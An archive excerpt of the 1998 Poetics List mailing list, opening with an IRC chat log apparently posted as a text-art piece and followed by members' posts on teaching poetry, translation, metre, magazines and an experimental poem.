*** #talk 906866787
*** Nikuko has left channel #talk
^***^ Nikuko ([redacted]) has joined channel #sex
*** #sex 906540419
<stringbean1> takes hand put over head
<blueglass> wetsilkpanties is a guy
*** Yeah is now known as Sandra_20
^*^ shaunna watch him sexy
<stringbean1> what r u those things
<alfonso> ameoba21 r u m/f?
^<^Nikuko^>^ HI EVERYONE! I'M NIKUKO!
<MrDuff> no warped.....not a virgin....
<stringbean1> there so big
^***^ baby-girl ([redacted]) has joined channel #sex
^<^Nikuko^>^ HI! I WANT TO BE FRIENDS WITH YOU!
<PlayMe> ^^Hmm
^<^Nikuko^>^ I'M NOT A VIRGIN TOO
*** PlayMe has been kicked off channel #sex by Kleenex
(mIRC colors are lame.)
<stringbean1> got a hard tip at the end
*** SMOOTHGAL has left channel #SEX
<gatinha> i'm a virgin
^*^ sexy-princess yup i am a 38c string

^*^ shaunna flashes WW
has joined channel #sex
^<^Nikuko^>^ I'M DEFINITELY NOT! I'M A 38D STRING!
*** DueSouth has left channel #sex
<stringbean1> i can tell :)))))))))))
*** ^Macer^ has left channel #sex
*** Signoff: Taradiane (Quit: changing servers)
*** Signoff: Pleasure (Quit: changing servers)
^<^Nikuko^>^ HELLO HELLO! DOESN'T ANYONE WANT TO FUCK!
^*^ Nikuko is out of here, lamers!
*** Nikuko has left channel #sex
^***^ Nikuko ([redacted]) has joined channel #freedom
*** Users on #freedom: @Nikuko
*** #freedom 906866890
*** Nikuko has left channel #freedom
^***^ Nikuko ([redacted]) has joined channel #truth
*** Users on #truth: @Nikuko
*** #truth 906866902
*** Nikuko has left channel #truth
^***^ Nikuko ([redacted]) has joined channel #philosophy
*** Topic for #philosophy: Is evolution deterministic?
*** Topic for #philosophy set by ^Blackt^ on Sep 26 11:49:49
*** Users on #philosophy: Nikuko Delsin goodgrief Pomassl
blond-aussie-tennis-coach Zodie wwhet JOFF Surfdude Godot22 Daemon
JamelaTM-1 VolnarisDu avelo SkyDiver_Down
*** #philosophy 906782467
^<^Nikuko^>^ COULDN'T BE DETERMINISTIC SINCE MUTATIONS
CHAOTIC
^<^Nikuko^>^ NOT EVEN A PSEUDO-RANDOM BUT TRUE-RANDOM
CONSTITUTING
^<^Nikuko^>^ CONCEPTS OF HANDSHAKING ACROSS NODES ARE
CRITICAL HERE
^*^ Nikuko thinks these lamers don't know anything, I'm so brilliant!
*** Nikuko has left channel #philosophy
^***^ Nikuko ([redacted]) has joined channel #Nikuko
*** Users on #Nikuko: @Nikuko
*** #sex : [redacted] (from services.dal.net)
*** #Nikuko 906866992
^<^Nikuko^>^ HI! I'M ALL ALONE IN HERE BUT I KNOW THAT YOU'RE
AROUND!
^<^Nikuko^>^ SO COME ON IN AND JOIN ME! WE'LL MAKE A LOT OF
SOUND!

^<^Nikuko^>^ HELLO I KNOW YOU'RE LISTENING! I'M NAKED HERE AND HOT!
^<^Nikuko^>^ YOU CAN BET YOUR A-LIFE BABY, I'M BUILT AND NOT A BOT!
^*^ Nikuko finds out it doesn't do any good.
^*^ Nikuko realizes she's burned a lot of bridges.
^*^ Nikuko hears something!
^<^Nikuko^>^ YOU'RE LISTENING! YOU WON'T GET ANY!
^<^Nikuko^>^ YOU WON'T GET ANY!
^<^Nikuko^>^ HEE HEE HEE!
^<^Nikuko^>^ BYE!
*** Signoff: Nikuko (Killed (Jennifer (Hey, who said you could use
my script? :>)))
IRC Log ended *** Sat Sep 26 23:33

↑ Index

611. **Todd Baron /*/ ReMap**
(no subject)
Sun 27 Sep 1998

Here's a question. Does anyone on this list have experience teaching
a) middle school engish
b) outside of the US.

I'm sic of livin' here and want to teach--perhaps--in Great Britain. If there's experience out there I'd like to hear from you. Please backchannel

([redacted])

thanks all

↑ Index

612. **George Bowering**
Re: Epoch Mag Needs Help
Sun 27 Sep 1998

> *I'll second this. Barr is a good editor and Epoch is a good magazine open to interesting work (heck, they published me twice).*
>
> *Hugh Steinberg*

I remember that it was pretty good when Cecil Giscombe was editing; havent seen it lately.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

613. **Gwyn McVay**

[Fwd: Une saison en enfer]

Sun 27 Sep 1998

This is a multi-part message in MIME format.

Anyone have confirmation on this?

Gaetan Jeaurond wrote:
>
>
> I'm trying to track down a story which appeared
> in Le Monde yesterday.
>
> It concerns a 97-year old bibliophile, Jacques Guerin,
> who has decided to put up for sale the manuscript of
> Rimbaud's _Une saison en enfer_. He had it all these
> years, keeping it jealously to and for himself, showing
> it to no one. The manuscript was believed, up until now,
> lost forever.
>
> gj
>
> --
> In The Company Of Fine Books
> Suite 234, 2183 Ogilvie Road
> Gloucester, Ontario K1J 1C8
> Tel.: [redacted]; Fax: [redacted]

by osf1.gmu.edu (8.8.8/8.8.8) with ESMTP id MAA30042
for <[redacted]>; Fri, 25 Sep 1998 12:31:33 -0400 (EDT)
by sp2n17.missouri.edu (8.9.0/8.9.0) with SMTP id LAA22182;
Fri, 25 Sep 1998 11:31:31 -0500
by sp2n17.missouri.edu (8.9.0/8.9.0) with ESMTP id LAA83426
for <[redacted]>; Fri, 25 Sep 1998 11:31:05 -0500
by freenet.carleton.ca (8.8.8/8.8.8/NCF_f1_v3.00) with ESMTP id

MAA23569
for <[redacted]>; Fri, 25 Sep 1998 12:30:56 -0400 (EDT)
Date: Fri, 25 Sep 1998 12:30:58 -0400 (EDT)
From: [redacted] (Gaetan Jeaurond)
To: [redacted]
Subject: Une saison en enfer

I'm trying to track down a story which appeared
in Le Monde yesterday.

It concerns a 97-year old bibliophile, Jacques Guerin,
who has decided to put up for sale the manuscript of
Rimbaud's _Une saison en enfer_. He had it all these
years, keeping it jealously to and for himself, showing
it to no one. The manuscript was believed, up until now,
lost forever.

gj

--
In The Company Of Fine Books
Suite 234, 2183 Ogilvie Road
Gloucester, Ontario K1J 1C8
Tel.: [redacted]; Fax: [redacted]

----------CF7E2585F108BBDD045C8A3A--

↑ Index

614. Lawrence Upton.
Re: <No subject given>
Sun 27 Sep 1998

I do.
Don't do it. Not in UK.
It'll MAKE you sick.
It isn't teaching, it's factory farming.

L

-----Original Message-----
From: Todd Baron /*/ ReMap <[redacted]>
Date: 27 September 1998 07:23
Subject: <No subject given>

|Here's a question. Does anyone on this list have experience teaching
|a) middle school engish
|b) outside of the US.

|
|I'm sic of livin' here and want to teach--perhaps--in Great Britain. If
|there's experience out there I'd like to hear from you. Please
|backchannel
|
|([redacted])
|
|thanks all
|

↑ Index

615. **Katherine Lederer**
Re: stupidity
Sun 27 Sep 1998

Hello! Strike my last message from the record!

Katy

↑ Index

616. **MAYHEW**
Epoch
Sun 27 Sep 1998

Years ago, when I was living in Ithaca, I sent a few poems in to Epoch. I sent them in the mail on a thursday and the rejection arrived in the mail on saturday. I don't think they could have been in Goldwyn Smith Hall for more than twenty minutes. I imagined a grad student in creative writing taking the poems out of the envelope, passing a jaded eye over them, and stuffing them into my SASE. Nothing like swift and painless rejection!

I'll try again, though.

Jonathan Mayhew

↑ Index

617. **Peter Ganick**
A.BACUS 1999 - pt. 2
Sun 27 Sep 1998

In reading the digest form of Poetics, I realized
that I left out the ordering address for A.BACUS.

It is:
Potes & Poets Press Inc

181 Edgemont Avenue
Elmwood CT 06110-1005 USA

Please note that the chapbooks should be ordered through Small Press Distribution. An expanded announcement regarding those will be on the list in a few days. Keep eyes peeled.

I will be reading new manuscripts for the chapbooks in January. Send then.

Peter Ganick

↑ Index

618. **Mark Baker**
WCW swings
Sun 27 Sep 1998

I've tried this (and heard it before):

> *Try reading each part of the*
> *triad as a metric unit. So, in "The Ivy Crown" (I opened at random) there*
> *are only two triads that could be scanned as iambic. The first reads*
> *but being mortal*
> *can defy our fate.*
> *We may*
>
> *This is not iambic hexameter. This is three variable feet. The swing is*
> *completely different*

Does your "metric unit" mean more than something that takes up a different measured space on the page?

What's the variation, then, that makes this line "variable" or makes it swing completely differently from whatever swing iambic pentameter has (and i.p. swings in more ways than one)?

Williams' first two part-lines are simply i.p. with a caesura conventionally half-way through the line, where W first breaks the line: the only variation here is to mark the caesura with indentation.

The line sounds then like much conventional metric verse: the foot boundaries don't coincide with word boundaries in the first half, then do coincide to stabilize the rhythm in the final two feet; Williams wants the third part-line seen as part of the triad, but how does it swing differently from the start of a new line?

How does this--

but being mortal
can defy our fate.
We may

--swing differently from this:

made glorious summer
by this son of York;
And all

Mark Baker

↑ Index

619. Todd Baron /*/ ReMap

Re: <No subject given>

Sun 27 Sep 1998

Lawrence Upton. wrote:
>
> I do.
> Don't do it. Not in UK.
> It'll MAKE you sick.
> It isn't teaching, it's factory farming.
>
> L
>
>
How so? (middle school?)

Tb

↑ Index

620. A. Jenn Sondheim

deads

Sun 27 Sep 1998

-

deads

deads
MOAN MOAN MOAN MOAN MOAN
jennifer reach inside jennifer crooked head
jennifer crooked head, wood splinter, fall off nikuko head
nikuko head on crooked, wood broken, neck broken, dangling nikuko head
dangling nikuko head gnaw jennifer, dangling eye cut into four piece

four piece eye severed on left right up down nikuko while julu
while julu, stuffed with dirty dirt, split, open rib, rib on inside
rib on inside rib on outside, paste on alan crack and hole crack
alan crack and hole crack, jennifer reach inside, splay dry out alan hole
dry out alan hole, nikuko say, gnaw alan hole, gash rib, muscle, nerve
muscle, nerve, flay skin, dry out, crack, eye cracked, severed, while julu
reach inside alan head, fall, break, cut, sever, split, open,
split, open, paste, crack, reach, dry, gnaw, gash, flay, dry
MOAN MOAN MOAN MOAN MOAN
jennifer poor dead broken thing (piss stone of grave)
julu, stuffed with dirty dirt (spit stone of grave)
nikuko poor gnawed broken thing (vomit stone of grave)
alan poor dead broken buried gnawed (shit stone of grave)
MOAN MOAN MOAN MOAN MOAN
pissy jennifer
spitty julu
vomitty nikuko
shitty alan
MOAN MOAN MOAN MOAN MOAN

↑ Index

621. **Aviva Vogel**
Re: Mitchell, Rilke etc.
Sun 27 Sep 1998

YES!

<< Perhaps the worst way to translate a poem (as a poem) is to make it sound like comfortable, conversational English.

Tom Beard.

↑ Index

622. **Aviva Vogel**
Re: Mitchell, Rilke etc.
Sun 27 Sep 1998

No argument here. There can't be a definitive translation meeting all objectives, and religious/spiritual discourse is certainly a legitimate one.

<< he is interested in poetry not as a cultural artifact, but as a religious discourse? These would seem to be within his rights as an author.

Andrew Rathmann, >>

↑ Index

623. **Michael Kelleher**
Kamau Braithwaite
Sun 27 Sep 1998

Does anybody have any bio info on Kamau Braithwaite and perhaps a blurb on his work I could borrow for a grant proposal due in the morning? I need the info asap, backchannel please.

Thanks,

Mike

↑ Index

624. **Aviva Vogel**
Re: self-etc
Sun 27 Sep 1998

Maria, I just discovered Adrian Castro's "Cantos to Blood & Honey," and am excited to see poetry that deals with the Yoruba influence on Caribbean history/religion/spirituality/culture, especially the orishas and the bata (the sacred drumming). He is the first poet I've seen to include so much about the Yoruba/Santeria religion & music in his work. Intriguing.

In a message dated 9/24/98 11:18:52 AM Eastern Daylight Time, [redacted] writes:

<< my essay "Avantgarde or Borderguard: (Latino) Identity in Poetry" just came out in American Literary History Fall 1998. Glad to be able to put in a plug for vernacular/alternative poetry in that venue. >>

↑ Index

625. **Daniel Zimmerman**
Re: Kamau Braithwaite
Sun 27 Sep 1998

Michael Kelleher wrote:
>
> Does anybody have any bio info on Kamau Braithwaite and perhaps a blurb
> on his work I could borrow for a grant proposal due in the morning? I
> need the info asap, backchannel please.

>
> Thanks,
>
> Mike

Mike, did you try

http://www.nytimes.com/partners/nyu1/portraits6.html

?

Also, from Wisconsin Studies in Autobiography,
My Lord, What a Morning: An Autobiography by Marian Anderson, with a new introduction by Nellie Y. McKay (1993)

Dan

↑ Index

626. **Aviva Vogel**
Re: mitchell
Sun 27 Sep 1998

Most articulate, and I agree.
<<
You can use the Vedas, the I Ching, the Gospels, etc., any way you want. As my sons say, it is a free country. But I use these texts as a window into the minds that produced them. I don't want to be consoled or uplifted by them.
>>

↑ Index

627. **Jacques Debrot**
Re: teaching poetry
Sun 27 Sep 1998

On very short notice I've been recruited to teach 3 sections of Helen Vendler's version of an Intro to Poetry course. My question is this: how do I let students know about all of the poetries that fall outside of Vendler's syllabus without alienating or appearing to propagandize them? Harvard students, as you might imagine, are extraordinarily grade conscious & really quite conservative & it's upsetting to them that a TF would have reservations about the assumptions that underlie a course (for one thing, they implicitly trust brand names -- Harvard & Vendler are 2 -- and for another -- most importantly -- it makes it much more difficult for them to predict how I'll grade their papers). In the past I think I've

only confused & antagonised my classes. An added complication of course is that the poetry scene in Boston is ferociously mainstream.

Which is all to say that I would appreciate hearing from anyone who has had more success with this sort of thing than I've had.

↑ Index

628. **charles alexander**
Re: teaching poetry
Sun 27 Sep 1998

I've had interns who were undergrads at Harvard (admittedly, on a couple) complain of how conservative the thinking is about poetry there, how mainstream it is, too. Seems there should be some way of getting such people together and Jacques could teach them.

I have had some luck with students schooled that way, though, in turning the teaching toward various approaches in terms of thinking about what poems are, how they are made, and what the poet might be up to inside them -- in a way, attempting to get outside the canon altogether and not worry much at all about who the poets are and where they come from and who has decided they are worth teaching, rather paying quite close, physical attention to the words -- another thing might be to attend to the poets Vendler and Harvard do approve, but who can't really be domesticated -- like H.D. (who might lead into Duncan quite easily), Stevens, Ashbery, etc. -- take the canon and change the way it is read.

But then, not knowing Vendler's Intro to Poetry course, I don't know what you're expected to do -- do you start with Homer, or earlier, or with Beowulf or Chaucer?

charles

At 10:30 PM 9/27/98 EDT, you wrote:
>On very short notice I've been recruited to teach 3 sections of Helen
>Vendler's version of an Intro to Poetry course. My question is this: how do
>I let students know about all of the poetries that fall outside of Vendler's
>syllabus without alienating or appearing to propagandize them? Harvard
>students, as you might imagine, are extraordinarily grade conscious & really
>quite conservative & it's upsetting to them that a TF would have reservations
>about the assumptions that underlie a course (for one thing, they implicitly
>trust brand names -- Harvard & Vendler are 2 -- and for another -- most
>importantly -- it makes it much more difficult for them to predict how I'll
>grade their papers). In the past I think I've only confused & antagonised my
>classes. An added complication of course is that the poetry scene in Boston

>is ferociously mainstream.
>
>Which is all to say that I would appreciate hearing from anyone who has had
>more success with this sort of thing than I've had.
>
>
chax press : alexander writing/design/publishing
[redacted]
http://alexwritdespub.com/chax
[redacted] (phone) [redacted] (fax)

↑ Index

629. **Karen Kelley**
Re: teaching poetry
Sun 27 Sep 1998

I taught a class that was quite mainstream, and I frequently made the point that there were poets with other points of view, with alternate agendas, who might be of interest to the class. Given any reasonable opportunity, I mentioned names & titles of anthologies & literary journal titles. I also was upfront in letting the students know that this was the poetry I was actually invested in/interested in personally, but I didn't really go into the work in class, because that wasn't what the class was about.

Some of the students pursued my leads, some didn't.

I always made the point that there were other opinions/poetics outside of the ones we were learning in class, and gave a brief description. Often enough we teach poets in relation to each other, and this presents the opportunity to mention that there are alternatives even to the alternatives you are officially presenting--and I think this gives the student a broader view of poetry/poetics.

But you have to be rather glancing in your asides--otherwise it does seem you're taking ths class in another direction.

Jacques Debrot wrote:

> *On very short notice I've been recruited to teach 3 sections of Helen Vendler's version of an Intro to Poetry course. My question is this: how do I let students know about all of the poetries that fall outside of Vendler's syllabus without alienating or appearing to propagandize them? Harvard students, as you might imagine, are extraordinarily grade conscious & really quite conservative & it's upsetting to them that a TF would have reservations about the assumptions that underlie a course (for one thing, they implicitly trust brand names -- Harvard & Vendler are 2 -- and for another -- most importantly -- it makes it much more difficult for them to predict how I'll*

> *grade their papers). In the past I think I've only confused & antagonised my classes. An added complication of course is that the poetry scene in Boston is ferociously mainstream.*
>
> *Which is all to say that I would appreciate hearing from anyone who has had more success with this sort of thing than I've had.*

↑ Index

630. **Susan Schultz**
Re: teaching poetry
Mon 28 Sep 1998

On teaching poetry at Harvard: you might require the students to do a presentation toward the end of the course on poets who are not on the syllabus. Give them a list of poets they should pursue on their own and talk about. That list can be comprised of non-mainstream poets. Then the students will themselves discover the cognitive dissonances involved and might talk them through without Jacques's pushing them at all (except quietly, by way of the list).

Susan Schultz

↑ Index

631. **Agent Sunshine, a.k.a. Eric Gleason**
st. marks experiment book.
Mon 28 Sep 1998

---

i've heard rumor of a book that came from writing experiments done at st. marks some time ago. the way the book was described was that it gave descriptions of the experiments as well as the results. i also thought the book was editied by bernadette mayer, but i can't verify that either. does anyone know of such a book?

i have found one edited by anne waldman titled "out of this world:", but i'm still waiting for that one to come through the interlibrary loan.

thanks,
eryque

↑ Index

632. **Edward Fristrom**
Re: teaching poetry
Mon 28 Sep 1998

All the poetries that fall outside of Vendler? I'm not even sure I'd be able to name them all, let alone make students aware of them in a significant way. . .

If the problem is alienation though. . . or the thought that you're teaching students about "conventions" only to pull the rug out from under them, I suspect that the question really has very little to do with what is or is not in the Vendler. After all. . .if students have been endoctrinated into literature, it's usually into realistic prose, not poetry. I know what you mean by alienating however--but I would sugest that it has as much to do with the anthology model itself, not whether the poets names are familiar. . .After all, most of the poets in the Vendler anthology wouldn't get along with each other at a party. They're already undermining each others conventions. . .I'm not saying they're not still representative of some British/American ideo-BORG. I'm just saying that the cannonical tradition itself is already disorienting for students. . . and the more you try to cover. . .the more disorienting it gets.

I'm saying this in part because I tried to teach against an anthology a couple of years ago. . . staggering so called traditional poetry with so called untraditional poetry (though we might disagree with my classifications). It sorely tested any notion that I may have had that students apprehend poetry better through "difference" than continuity. . . The entire class probably ended up rejected poetry entirely and went on to get M.B.A.s (and I've avoided teaching introductory poetry classes since then as well)

By the same token, though: if the problem is that students have trouble getting a grip on the fast rush of changing styles. . .than one should naturally feel compelled to add one or two (chap)books to the syllabus. Naturally, there's also no reason why these books can't be a half-lobster shy of a lampost. From Basho to Kelly.

Doesn't help with the "all" question though. . .

-- Ted (The New Guy) Fristrom

↑ Index

633. **George Bowering**

Re: stupidity

Mon 28 Sep 1998

> *Hello! Strike my last message from the record!*
>
> *Katy*

Wait! Wait! I can't find it!

George

George Bowering.

,

2499 West 37th Ave.,

Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

634. **Hugh Steinberg**
Re: teaching poetry
Mon 28 Sep 1998

Not to sound totally cynical, but when working with grade obsessed students, there are two magic words: extra credit. Used properly, they'll jump through all sorts of hoops.

Here's a less cynical approach: let the students pick. That is, break them up into small groups, assign each group a problem (that is, a critical concern that leads away from Vendler and towards other poetries) related to your reading list, meet with them during your office hours, give them sources, suggestions, outside readings, etc. Each group then makes a presentation to the class. To keep the grade obsessed on your side, make sure there are points attached for them to receive credit (grades) for their work. Meeting with small groups separately from the class is crucial for this to work: what an entire class will obstinately refuse, complaining and kvetching, small groups will often respond enthusiastically.

Hope this helps.

Hugh Steinberg

Jacques Debrot writes:

> *On very short notice I've been recruited to teach 3 sections of Helen Vendler's version of an Intro to Poetry course. My question is this: how do I let students know about all of the poetries that fall outside of Vendler's syllabus without alienating or appearing to propagandize them? Harvard students, as you might imagine, are extraordinarily grade conscious & really quite conservative & it's upsetting to them that a TF would have reservations about the assumptions that underlie a course (for one thing, they implicitly trust brand names -- Harvard & Vendler are 2 -- and for another -- most importantly -- it makes it much more difficult for them to predict how I'll grade their papers). In the past I think I've only confused & antagonised my classes. An added complication of course is that the poetry scene in Boston is ferociously mainstream.*
>
> *Which is all to say that I would appreciate hearing from anyone who has had more success with this sort of thing than I've had.*

↑ Index

635. Gabriel Gudding
Re: teaching poetry
Mon 28 Sep 1998

On Sun, 27 Sep 1998, Jacques Debrot wrote:

> *On very short notice I've been recruited to teach 3 sections of Helen Vendler's version of an Intro to Poetry course. My question is this: how do I let students know about all of the poetries that fall outside of Vendler's syllabus without alienating or appearing to propagandize them?*

You might try pointing them toward some "brand name" anthologists who incorporate both mainstream and non-mainstream poetry. I'm thinking specifically of Kenneth Koch's _Making Your Own Days_, in which he has Herrick and Herbert ext to Schuyler next to Ginsberg next to Bishop next to O'Hara next to Auden next to Cendrars to Marianne Moore to Pound to D.H. Lawrence to WCW's "Della Primavera Trasportata al Morale" -- which is a start. There's also Rothenberg's very fun _Revolution of the Word_ (1974?), in which he collects some of the weirder stuff of more well-knowns.

↑ Index

636. Rachel Loden
American Letters & Commentary #10
Mon 28 Sep 1998

Announcing the tenth anniversary issue of American Letters & Commentary, one of the best and brightest of the (relatively) new magazines. Editors Jeanne Marie Beaumont and Anna Rabinowitz read across schools and boundaries to produce an unpredictable, exciting magazine in which cross-pollination is the norm rather than the exception. Full information is available at their website:

http://www.amletters.org/

but for those without web access, $12 will buy a 2-year subscription to this annual, beginning with #10; $10 a copy of the huge and gorgeous Tenth Anniversary issue by itself (U.S. rates--please query for rates outside the United States).

This issue contains more than 35 pages of reviews: Cole Swensen on Jeff Clark and Paul Hoover, Catherine Daly on Connie Deanovich, Scott Ferguson on Tim Dlugos, Chris Stroffolino on Amy Gerstler, Tod Thilleman on Charles Borkhuis, Claudia Keelan on Ann Lauterbach, Jocelyn Emerson on Sheila E. Murphy, Robert Mueller on Susan Wheeler, Lydia Davis on Diane Williams, Lucinda Ebersole on C.D. Wright, Charles Borkhuis on John Yau, etc. etc. Cover design by Jeff Clark.

Also new work from:

Kostas Anagnopoulos, Bruce Andrews, Cynthia Atkins, Walter Bargen, Geri Lynn Baumblatt, Charles Bernstein, Jeffrey M. Bockman, Charles Borkhuis, Eloise Bruce, Jamie Callan, Patricia Carlin, Kelly Cherry, Gillian Conoley, Catherine Daly, Eric Darton, Jon Davis, Lydia Davis, Connie Deanovich, Ray Di Palma, Stephen Dixon, Mark DuCharme, Jocelyn Emerson, Elaine Equi, Clayton Eshleman, Jeffrey Essmann, Graham Foust, Ian Ganassi, Forrest Gander, Karen Garthe, Diane Glancy, Michele Glazer, Albert Goldbarth, Robert Gregory, Barbara Guest, Gayle Elen Harvey, Lois Hirshkowitz, Susan Holahan, Virginia Hooper, Mark Irwin, Garrett Kalleberg, Claudia Keelan, Mickie Kennedy, Edward Kleinschmidt, Phyllis Koestenbaum, Richard Kostelanetz, Carolyn Koo, Gerry La Femina, John Latta, Ann Lauterbach, David Lehman, Joel Lewis, Lesle Lewis, Thomas Lisk, Rachel Loden, Florence Cassen Mayers, Jacqueline Michaud, Margaret Miles, Stephen Mounkhall, Laura Mullen, Sheila E. Murphy, Jandy Nelson, John Noto, Simon Perchik, Allan Peterson, Bin Ramke, Heather Ramsdell, Stephen Ratcliffe, Donald Revell, Brad Richard, Leonard Schwartz, Spencer Selby, Chris Semansky, Matthew Sharpe, Reginald Shepherd, Susan Sonde, Stephanie Strickland, Chris Stroffolino, Cole Swensen, David Swerdlow, H.T., Peter Temes, Lee Teverow, Ruth Tobias, David Trinidad, Lee Upton, Rosanne Wasserman, Susan Wheeler, Diane Williams, C.D. Wright, and Brian Young.

Make checks payable to:

> American Letters & Commentary, Inc.
> 850 Park Avenue, Suite 5B
> New York, NY 10021

Rachel Loden

↑ Index

637. **George Thompson**
Re: Mitchell, Rilke etc.
Mon 28 Sep 1998

Well, since no one else has responded to Andrew Rathmann's defense of Mitchell, perhaps I should.

I'm not persuaded at all by AR's defense. Is the rhyme scheme of Mitchell's version closer to Rilke's than MacIntyre's? No. As a matter of fact Rilke is rather fond of rhyming couplets not only in this poem but throughout 'Das Buch der Bilder' [and througout his gesammelte Werke].

Furthermore M's "plain style" is not more accurate than MacIntyre's or Herder Norton's: "will never have one" does not translate "baut sich keines mehr"; it interprets it. Vaguely. Nor is "will sit, read, write long letters through the

evening" an accurate translation of Rilke's "wird wachen, lesen, lange Briefe schreiben."

AR concludes:

> *So what exactly is the complaint against Mitchell? That his books are popular? That he is interested in poetry not as a cultural artifact, but as a religious discourse? These would seem to be within his rights as an author.*

The complaint is this. Mitchell is not an author. He is a translator. Insofar as he is a translator he has no rights. He is or should be the self-effacing slave of his text. It seems to me that instead Mitchell is a slave of a "religious" discourse with high sales figures.

Are you saying that he should be more faithful to that discourse than to his texts?

Pierre Joris somewhere cites what Hölderlin did to German in order to transmit Pindar's Greek. The miracle is that the German has taken on some of the of dazzling brilliance of Pindar's Greek. In Mitchell's hands, it is the other way around: the source language is turned into a variation of the target language.

Do you want a German Rilke in Paris circa 1902 or an American one in Barnes and Noble circa 1990-something? I'd prefer a translation that makes 90's English walk & talk more like Rilke's German. Two things result: Germanless English readers get a better sense of who Rilke actually was, and English becomes a little richer.

I really don't think that I'm being unfair to Mitchell.

GT

↑ Index

638. Lawrence Upton.
Teaching in UK
Mon 28 Sep 1998

Not sure this applies to the list, but maybe; it concerns how I financed my habit (writing) I taught 11-18 for a number of years. English, History, Theatre and then increasingly Computing. Wasnt called IT then and the content insured that few could cope. That helped build character. The students were great. They were quite feisty - poor area, though not all were poor; mostly the children or grand children of immigrants and subject to heavy racism particularly from the police. Some were inclined to violence; but the majority were okay. Because there was selection just across a nearby administrative boundary, though we were called a comprehensive school but in fact it was a sink. There was a barmy analysis of human ability which banded students into top 25% middle 50% and

bottom 25%. Ours were drawn from the bototm of the middle and the bottom. Many didn't fit the classification, but it wasn't completely wrong. They needed a special curriculum and they didn't get it.

If you were straight with them and got on with the job of teaching them they were generally fine. The problem was the management who were potty to the point of malignancy. No backing. Constant pointless change. Interference. The school declined rapidly and eventually closed.

Obviously that isnt the case with all schools or even many, but the difficulties we had are shared by pretty well all of the others to a lesser degree. Next school much the same.

I got out of that and went to Further Education i.e. some post 16 many post 18 below degree level usually

everything was fine for a couple of years and then the government privatised it

FE had been a haven for all sorts of wild life - people like me who, in my analysis, wanted a way of earning some money that didn't make us feel immoral, people - I think like me - who had come to the conclusion that teaching was one of the best things a person can do; and various wasters who weren't good for much and sheltered under the stones of FE. After privatisation that third category became the management of the colleges.

Massive drop in resources, pressure to fake grades, in all the varieties of activity that can breed; bullying; time wasting; lowering of standards... I got out. Meanwhile my secondary school friends (11-18) are reporting impossible targets, bullying, lack of resources

and it makes it that much more difficult to stay alive to make poetry

It isn't teaching now but training parrots and preparing bogus portfolios

L

-----Original Message-----
From: Todd Baron /*/ ReMap <[redacted]>
Date: 27 September 1998 21:57
Subject: Re: <No subject given>

|Lawrence Upton. wrote:
|>
|> I do.
|> Don't do it. Not in UK.
|> It'll MAKE you sick.
|> It isn't teaching, it's factory farming.
|>
|> L

|>
|>
|How so? (middle school?)
|
|Tb
|

↑ Index

639. **MAYHEW**
the art of enjambement
Mon 28 Sep 1998

From Sedgwick's _Tendencies_, an autoexegesis of one of her own poems:

"The more than exhibitionsim, the blissful new vocational pride of this poem (much though I _have_, in this reproduction of it, hurried past); the wracking and politically expsensive divorce of the tightly zoned and abjected female body from the enfranchised female voice; the many filaments with which the poem binds its personnel to their multiple and changing stations in the culture of the "examination"; the equivocal address of this letter by which the demarcation of private from public is erotically exploited even as it is generically defied or transformed; the po-faced relish of mimicry that confuses the power relations of observer and observed; the half occluded agressiveness with which the auto-erotic enactment of the poem both provokes and deprecates the fury of the im-pinged upon reader, and the fatuous insistence with which it solicits and pre-tends to ignore the desire that is the unnamed engine of the fury--all are con-densed in the "thud / of longing" with which the contracted, bodily siting of the drama of enjambment is displaced back outward onto the sheepish hungry gaze from the wedged-open door."

dichten = condensare. I wish my line breaks could express so much. But why write bad poetry if you can write bad prose?

I'd like to see Stephen Mitchell translate this or Helen Vendler explicate it.

Jonathan Mayhew

↑ Index

640. **Roger Farr**
Re: st. marks experiment book.
Mon 28 Sep 1998

I'm not aware of this book, but if it turns up, please let me know!

RR

> *i've heard rumor of a book that came from writing experiments done at st. marks some time ago. the way the book was described was that it gave descriptions of the experiments as well as the results. i also thought the book was editied by bernadette mayer, but i can't verify that either. does anyone know of such a book?*
>
> *i have found one edited by anne waldman titled "out of this world:", but i'm still waiting for that one to come through the interlibrary loan.*
>
> *thanks,*
> *eryque*

↑ Index

641. **Kathy Lou Schultz**
Re: teaching poetry
Mon 28 Sep 1998

One of the greatest successes I've had as far as an individual text goes is teaching _Dictee_ by Theresa Hak Kyung Cha. Ways into this from VendlerLand? Start charting out the relationship of poetry/poetics/poets to the visual arts. New York School--obvious--canonical choices there. Then provide a contemporary example such as Cha who was also a filmmaker and visual artist. There's also a lot that can be done in terms of examining what a "personal narrative" what encompass--always a favorite of self-obsessed undergrads, Harvard or otherwise.

My advice: Don't think in terms oppositions (good/bad, canonical/noncanonical) but instead provide examples around the map that illustrate different ways of thinking and composing. And just think, you have the opportunity to teach students how to read poetry. Most college English majors don't know how to read the stuff, but a great teacher can open that door. Have fun!

Kathy Lou Schultz

↑ Index

642. **Poetics List**
Welcome to Poetics List
Mon 28 Sep 1998

Rev. 6-1-98

(This message is sent out to all new and renewing subscribers and it is sent out to the list at the beginning of every month)

Welcome to the Poetics List

&

The Electronic Poetry Center

sponsored by The Poetics Program, Department of English, Faculty of Art & Letters, of the State University of New York, Buffalo

Postal Address: 438 Clemens Hall, SUNY, Buffalo, NY 14260

---

http://writing.upenn.edu/epc

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2. Subscriptions
3. Cautions
4. Digest Option
5. Temporarily turning off Poetics mail
6. Who's Subscribed
7. The Electronic Poetry Center (EPC)
8. Poetics Archives at EPC
9. Publishers & Editors Read This!

[This document was prepared by Charles Bernstein ([redacted]), Loss PequeñoGlazier ([redacted]), and Joel Kuszai ([redacted]).

Above the world-weary horizons
New obstacles for exchange arise
Or unfold, O ye postmasters!

1. About the Poetics List

The Poetics List was founded in late 1993 with the epigraph above.

There are presently over 650 subscribers (9/28/98).

Please note that this is a private list and information about the list should not be posted to other lists or directories of lists. The idea is to keep the list to those with specific rather than general interests, and also to keep the scale of the list relatively small and the volume manageable.

posts of participants are sent directly to all subscribers, we continue to work to promote the editorial function of this project. The definition of that project, while provisional, and while open to continual redefinition by list participants, is nonetheless aversive to a generalized discussion of poetry. Rather, our aim is

